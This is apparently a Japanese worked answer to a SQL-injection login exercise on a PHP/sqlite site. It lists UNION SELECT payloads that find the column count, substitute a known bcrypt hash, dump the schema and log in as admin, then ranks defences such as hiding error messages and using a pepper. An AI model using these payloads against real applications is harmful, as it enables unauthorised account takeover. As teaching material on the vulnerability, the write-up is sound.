の回答例を考えてみました。一応、「できるだけソースコードの内容に依存しない」ということを意識しています。
※ 試しに順に入力して動作確認する場合、パスワード欄は'test'固定にしてください。FROMを省略できるRDBMSということにも依存していますが、省略できない場合ダミーテーブルを使うことになりますが、順に試せば特定は可能と思われます。
まず、selectしている列数を特定するため、ユーザー名欄に下記を順に入力してみます。
' UNION SELECT 1 --
' UNION SELECT 1, 2 --
' UNION SELECT 1, 2, 3 --
' UNION SELECT 1, 2, 3, 4 --
エラーが4列の時に無くなるので、元のSQLが4列のselectであることが特定できます。
次に、順にNULLを1列目から順に与えてみます。すると、
' UNION SELECT 1, 2, NULL, 4 --
において、
Deprecated: password_verify(): Passing null to parameter #2 ($hash) of type string is deprecated in /var/www/html/login.php on line 13
という警告メッセージが表示されます。このことから、php標準のpassword_verifyを使用していることが特定できます。また同時に3列目をパスワードハッシュ判定で使用していると判断できます。なお、password_verifyを使っていなかったとしても、フレームワークやライブラリの一般的なハッシュ関数であれば、環境構築などの手間は増えますがこの後の作業において大きな違いは出てこないはずです。
password_verifyで使用可能なハッシュアルゴリズムの種類は限られていますので、パスワード'test'に対するハッシュをphp -a上のpassword_hashで求めてそれを3列目に設定し順にログインしてみます(詳細略)。その結果、 PASSWORD_BCRYPTで求めたもので突破できることが確認できます(順にログインとしていますが、実際にはpassword_verifyはPASSWORD_BCRYPTには必ず対応しているはずなのでその確認のみで良いはずです)。なおここで、対象のWebアプリケーションがいわゆるペッパーを使用している場合、突破できません。
' UNION SELECT 1, 2, '$2y$10$XUHtWTj6OP5cpuH85HDVi.hS6JRuK.yh1jG13qXyEKCqTOoMS05jq', 4 --
また結果が2ですので、2列目がユーザー特定列であることが特定できます。そうすると、
' UNION SELECT 1, 'admin', '$2y$10$XUHtWTj6OP5cpuH85HDVi.hS6JRuK.yh1jG13qXyEKCqTOoMS05jq', 4 --
で一応(表面的には)解決です。
ただ、上記がadminユーザーとしてのログインを必ずしも意味しませんので、さらにもう一工夫したいところです。そのための情報を調査します。
まずはどのようなDBMSを使用しているのかを特定します。これもパターンは限られるので2列目のサブクエリで順に実行してsqlite3と特定できたとします(詳細略)。
テーブルのスキーマを特定します。
' UNION SELECT 1, (select group_concat(sql) from sqlite_master), '$2y$10$XUHtWTj6OP5cpuH85HDVi.hS6JRuK.yh1jG13qXyEKCqTOoMS05jq', 4 --
そうすると、以下の結果が得られます。
ログイン成功:CREATE TABLE users (id int, userid varchar(64), password varchar(128), email varchar(128), PRIMARY KEY (id))
ちょうど4列ですので、認証用のSQLではフィールドをそのままアスタリスクで得ているのだろうと推定します。その結果、下記のようにします。
' UNION SELECT (SELECT id FROM users WHERE userid='admin'), 'admin', '$2y$10$XUHtWTj6OP5cpuH85HDVi.hS6JRuK.yh1jG13qXyEKCqTOoMS05jq', (SELECT email FROM users WHERE userid='admin') --
上記はもしフィールドをアスタリスクで得ていない場合や別テーブルとjoinしているような場合(つまり列の対応関係がテーブルの定義順と一致しない場合)、順に試すことが必要とはなるでしょう。テーブルスキーマは得ていますので、エラーメッセージやログイン後の挙動で順に試せば最終的にはadminとしてのログインと同じ状態にできるでしょう。ただ、どうしても試行錯誤が必要な部分かと思います。
これで、adminとしてのログインもできました。
まとめ
上記のやり方は、SQLインジェクションだけではなく、全体的に「エラーメッセージが表示される」ということに依存しています。そのため、安全なwebアプリケーションのためにはエラーメッセージの詳細は隠ぺいすることが望ましいことがわかります。またwarningになりえる箇所(今回の場合はpassword_verifyにnullを与えたところ)をつぶしておくことも多少は有効でしょう(エラーメッセージが非表示なら不要です)。標準的なパスワード用ハッシュ関数をそのまま使うこともSQLインジェクションを前提としたときにはユーザー認証において危険性があります。可能ならばpasswordにペッパーを加えてハッシュ化する方が望ましいでしょう(ペッパーはソースコード直書きでも良いぐらい)。
ただもちろん、SQLインジェクションができてしまうと想定外の問題が起こりえるかもしれませんし、それができなければ仮にエラーメッセージが表示されても危険度は大幅に低下するため、そちらを撲滅することが最重要です。
対策重要度でいうと
SQLインジェクションされないようにする > エラーメッセージが表示されないようにする > 標準的なパスワード用ハッシュ関数をそのまま使わない(ペッパーを使う)、warningをつぶす
ということになると思います。